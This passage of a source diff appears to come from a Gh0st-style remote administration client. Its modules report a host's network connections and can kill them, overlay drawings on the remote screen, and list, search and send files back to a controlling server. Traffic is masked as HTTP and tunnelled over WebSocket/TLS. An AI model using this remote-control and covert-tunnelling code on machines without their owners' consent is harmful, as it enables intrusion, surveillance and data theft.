ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
VOID CConnectionsManager::SendConnectionList()
{
std::vector<ConnectionInfo> rows;
AppendTcp4(rows);
AppendTcp6(rows);
AppendUdp4(rows);
AppendUdp6(rows);
size_t count = rows.size();
if (count > 0xFFFF) count = 0xFFFF;
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
if (szBuffer == NULL) return;
szBuffer[0] = TOKEN_CONNECTION_LIST;
uint16_t cnt = (uint16_t)count;
memcpy(szBuffer + 1, &cnt, 2);
for (size_t i = 0; i < count; ++i)
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
LocalFree(szBuffer);
}
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
if (info.proto != 1 || info.af != AF_INET) return;
MIB_TCPROW row = { 0 };
row.dwState = MIB_TCP_STATE_DELETE_TCB;
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
row.dwRemotePort = (DWORD)htons(info.remotePort);
SetTcpEntry(&row);
}
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_CONNECTION: // 刷新
SendConnectionList();
break;
case COMMAND_KILL_CONNECTION: // 强制断开
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
ConnectionInfo info;
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
KillConnection(info);
}
SendConnectionList();
break;
default:
break;
}
}
#endif
+29
View File
@@ -0,0 +1,29 @@
// ConnectionsManager.h: interface for the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager
{
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+67 -8
View File
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain();
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty())
if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
}
// 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList();
@@ -429,9 +433,14 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
m_nTransferMode = TRANSFER_MODE_NORMAL;
// 展开环境变量 (如 %USERPROFILE%, %DESKTOP% 等)
char szExpandedDir[MAX_PATH];
char szExpandedDir[MAX_PATH] = { 0 }; // 展开失败时保持空串,避免下面的长度判断读未初始化栈
ExpandEnvironmentStringsA(lpszDirectory, szExpandedDir, MAX_PATH);
// 展开失败 / 目录 + "\*.*" + NUL 装不下:按空目录回(放在分配缓冲之前,免得多一条泄漏路径)
if (szExpandedDir[0] == '\0' || lstrlenA(szExpandedDir) + 5 > MAX_PATH) {
return SendListError(ERROR_INVALID_NAME);
}
UINT nRet = 0;
char strPath[MAX_PATH];
char *pszFileName = NULL;
@@ -451,8 +460,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE) {
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
// 路径不存在/不可访问:回结构化失败(TOKEN_FILE_LIST_ERROR),不再和「空目录」混为一包。
return SendListError(GetLastError());
}
*lpList = TOKEN_FILE_LIST;
@@ -552,6 +561,10 @@ void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPatte
return;
}
// wsprintf 不做边界检查,超长会写穿栈(Debug 版弹 Run-Time Check Failure #2,
// Release 版静默破坏栈)。递归最多 32 层,深度累加很容易超过 MAX_PATH,必须逐层预判。
if (lstrlenA(lpszDirectory) + 5 > MAX_PATH) return; // 目录 + "\*.*" + NUL
char strPath[MAX_PATH];
WIN32_FIND_DATA FindFileData;
@@ -568,6 +581,11 @@ void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPatte
BOOL bIsDir = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// 单个条目也要预判:全路径装不下就跳过(既不记录也不递归进去),
// 否则下面的 wsprintf 会写穿 szFullPath。
if (lstrlenA(lpszDirectory) + 1 + lstrlenA(FindFileData.cFileName) + 1 > MAX_PATH)
continue;
char szFullPath[MAX_PATH];
wsprintf(szFullPath, "%s\\%s", lpszDirectory, FindFileData.cFileName);
@@ -642,11 +660,21 @@ DWORD WINAPI CFileManager::SearchThreadProc(LPVOID lpParam)
void CFileManager::SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName)
{
// 展开环境变量
char szExpandedPath[MAX_PATH];
char szExpandedPath[MAX_PATH] = { 0 }; // 展开失败时为空串,递归里直接返回
ExpandEnvironmentStringsA(lpszSearchPath, szExpandedPath, MAX_PATH);
if (szExpandedPath[0] == '\0') { // 展开失败:直接按「0 条结果」结束
SendToken(TOKEN_SEARCH_FILE_FINISH);
return;
}
// 构建搜索模式 (如 *.txt 或 *keyword*)
char szPattern[MAX_PATH];
// 关键字来自网络包,最多 MAX_PATH 字节,加通配符后可能超出 szPattern。
if (lstrlenA(lpszSearchName) + 3 > MAX_PATH) {
SendToken(TOKEN_SEARCH_FILE_FINISH);
return;
}
if (strchr(lpszSearchName, '*') == NULL && strchr(lpszSearchName, '?') == NULL) {
wsprintf(szPattern, "*%s*", lpszSearchName);
} else {
@@ -821,6 +849,32 @@ int CFileManager::SendToken(BYTE bToken)
return Send(&bToken, 1);
}
// 列目录失败的结构化回报:[TOKEN_FILE_LIST_ERROR:1][win32err:4 LE]。
// 服务端(MCP list_files)据此返回「路径不存在/权限不足」,而不是一个空列表。
// 随后再补一个老的 1 字节 TOKEN_FILE_LIST:老服务端不认识新 token,仍按「空目录」处理,
// 行为与改动前完全一致。
UINT CFileManager::SendListError(DWORD dwErr)
{
if (dwErr == 0) dwErr = ERROR_GEN_FAILURE;
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
pkt[0] = TOKEN_FILE_LIST_ERROR;
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
int n = Send(pkt, (UINT)sizeof(pkt));
SendToken(TOKEN_FILE_LIST);
return n > 0 ? (UINT)n : 0;
}
// 下载请求无可用文件的结构化回报:[TOKEN_DOWNLOAD_ERROR:1][win32err:4 LE]。
// 走文件管理器子连接(传输子连接此时尚未建立),服务端立即失败而不是等停滞看门狗。
void CFileManager::SendDownloadError(DWORD dwErr)
{
if (dwErr == 0) dwErr = ERROR_FILE_NOT_FOUND;
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
pkt[0] = TOKEN_DOWNLOAD_ERROR;
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
m_ClientObject->Send2Server((char*)pkt, (UINT)sizeof(pkt));
}
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') {
@@ -1115,19 +1169,23 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
if (remotePaths.empty()) {
Mprintf("[V2] 没有要传输的文件\n");
SendDownloadError(ERROR_INVALID_PARAMETER);
return;
}
// 收集所有文件(展开目录)
std::vector<std::string> allFiles;
std::vector<std::string> rootCandidates; // 用于计算公共根目录
DWORD dwFirstErr = 0; // 首个失败的 win32 码(全部不存在时回传)
for (const auto& remotePath : remotePaths) {
std::string localPath = ExpandPath(remotePath.c_str());
DWORD attrs = GetFileAttributesA(localPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES)
if (attrs == INVALID_FILE_ATTRIBUTES) {
if (dwFirstErr == 0) dwFirstErr = GetLastError();
continue;
}
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
// 目录:递归收集
@@ -1146,7 +1204,8 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
}
if (allFiles.empty()) {
Mprintf("[V2] 没有找到可传输的文件\n");
Mprintf("[V2] 没有找到可传输的文件 (win32=%lu)\n", dwFirstErr);
SendDownloadError(dwFirstErr);
return;
}
+2
View File
@@ -55,6 +55,8 @@ private:
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
UINT SendListError(DWORD dwErr); // 列目录失败的结构化回报(TOKEN_FILE_LIST_ERROR + win32 码)
void SendDownloadError(DWORD dwErr); // 下载无可用文件的结构化回报(TOKEN_DOWNLOAD_ERROR + win32 码)
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
+158 -1
View File
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_DataProcess = NULL;
m_ReconnectFunc = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
#ifdef _DEBUG
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
#else
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
#endif
m_EncoderType = encoder;
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
#ifdef _WIN32
@@ -387,6 +391,9 @@ BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5)
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
// 登录确认标志只描述「当前这条连接」:任何一次新建连都先清零,避免上一条连接的
// 确认结果替新连接背书(协议切换的自动回退靠它判断新入口是否真的登录成功)。
m_loginAcked.store(false, std::memory_order_release);
if (szServerIP != NULL && uPort != 0) {
SetServerAddress(szServerIP, uPort);
}
@@ -461,6 +468,134 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
#else
// 设置保活选项
SetKeepAliveOptions(m_sClientSocket);
#endif
}
// 握手超时:TLS / WebSocket 握手都是同步阻塞的(WsChannel::Handshake 逐字节 recv 等
// 101 响应),而 socket 默认没有收超时——对端接受 TCP 却迟迟不回数据时(反代上游黑洞、
// 中间设备只收不发),recv 会永久阻塞,StartClient 的重连循环整个停摆,只能重启进程。
// 这里给握手窗口设 15s 超时(与服务端两个握手线程同一个值),握手结束后立刻清零,
// 避免影响 WorkThread 之后依赖 select + 阻塞 recv 的常规收包。
bool hsTmoSet = false;
#ifdef _WIN32
{
DWORD hsTmo = 15000;
hsTmoSet = setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO,
(const char*)&hsTmo, sizeof(hsTmo)) == 0;
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&hsTmo, sizeof(hsTmo));
}
#else
{
struct timeval hsTmo;
hsTmo.tv_sec = 15;
hsTmo.tv_usec = 0;
hsTmoSet = setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, &hsTmo, sizeof(hsTmo)) == 0;
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, &hsTmo, sizeof(hsTmo));
}
#endif
// WebSocket 传输(PROTO_WS / PROTO_WSS):出站被限制在 80/443/8080 等端口时,经反代
// 分流进来。与应用协议无关,位置和 TLS 相同(TLS 之下、应用协议之上);须在
// m_bConnected 置位前完成,确保工作线程不会在 Upgrade 尚未完成时就开始 recv。
// Linux / macOS / Android 不传 conn,协议由 SetDefaultProto 给出(见 IOCPClient.h)。
// 两边都没有时按明文直连,并留一行日志——否则「改成 WS 却毫无反应」无从排查。
const int protoType = m_conn ? (int)(unsigned char)m_conn->protoType : m_defaultProto;
if (!m_conn && m_defaultProto < 0) {
// 只记一次:重连循环每轮都会走到这里,否则日志会被刷满。
static std::atomic<bool> logged{false};
if (!logged.exchange(true))
Mprintf("[WS] 无连接配置(m_conn 为空)且未设置默认协议,本次按明文 TCP 直连\n");
}
const bool wsProto = (protoType == PROTO_WS || protoType == PROTO_WSS);
const bool wsTls = (protoType == PROTO_WSS);
m_useWs = false;
// Host 头与 SNI 用配置里的地址(域名),子连接只拿到解析后的 IP,必须回到 conn 取。
// 多地址(分号分隔)时取第一个:经反代接入的场景应在地址里只填一个域名。
std::string wsHost = m_sCurIP;
if (m_conn) {
std::string configured = m_conn->GetFirstServerIP();
if (!configured.empty())
wsHost = configured;
}
// IP 字面量不能当 SNI(RFC 6066);直接连 IP 时反代会落到默认 server 块。
const bool wsHostIsDomain = (inet_addr(wsHost.c_str()) == INADDR_NONE) && wsHost.find(':') == std::string::npos;
// WSS 但没有信任锚时的降级标记:本连接按明文 WS 走,服务端下发锚并热重载后,
// 下一次连接会自动升级为 WSS(见下方 else if 分支)。
bool wsDegraded = false;
#ifdef YAMA_TLS_CHANNEL
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
// m_useTls 在这里一次性锁定:Linux 客户端可能在此后收到服务端下发并热切换传输方式,
// 那条连接已建立,本连接的 Send/Recv 必须继续按握手时的传输方式走。
m_useTls = false;
if (TlsLoadError()) {
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
// PROTO_WS 是显式选择的明文形态(反代的 80 端口、内网直连):即便本客户端配了信任锚
// 也不叠加 TLS,否则该形态永远不可达。WSS 与直连主控端口仍按上面的规则强制 TLS。
if (TlsEnabled() && protoType != PROTO_WS) {
// SNI:WSS 经反代时要让反代按域名分流到正确的 server 块;直连 IP/主控端口时保持
// 原样(不传名字),与既有行为一致。
const char* sni = (wsTls && wsHostIsDomain) ? wsHost.c_str() : NULL;
if (!m_tls.Handshake(m_sClientSocket, sni)) {
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
m_useTls = true;
} else if (wsTls) {
// 回退(不是降级攻击面):没有信任锚时无法校验反代出示的证书,但此时客户端
// 本来也还没被「颁发」证书——先用明文 WS 把隧道打通,等服务端下发信任锚
// (COMMAND_TLS_ENABLE → TlsReload)后,下一次连接自动走 WSS。
// 注意:有锚但握手失败、或锚存在却加载失败(上面 TlsLoadError),仍然 fail-closed,
// 绝不静默降级。
wsDegraded = true;
Mprintf("[WS] 未配置信任锚,本次按明文 WebSocket 连接;服务端下发证书后重连将升级为 WSS\n");
}
#else
if (wsTls) {
Mprintf("[WS] 本平台不支持 TLS,无法使用 WSS 协议\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
#endif
if (wsProto) {
#ifdef YAMA_TLS_CHANNEL
m_ws.SetTls(m_useTls ? &m_tls : NULL);
#endif
std::string werr;
if (!m_ws.Handshake(m_sClientSocket, wsHost, (int)port, WS_UPGRADE_PATH, &werr)) {
Mprintf("[WS] WebSocket 握手失败(%s),断开连接\n", werr.c_str());
closesocket(m_sClientSocket);
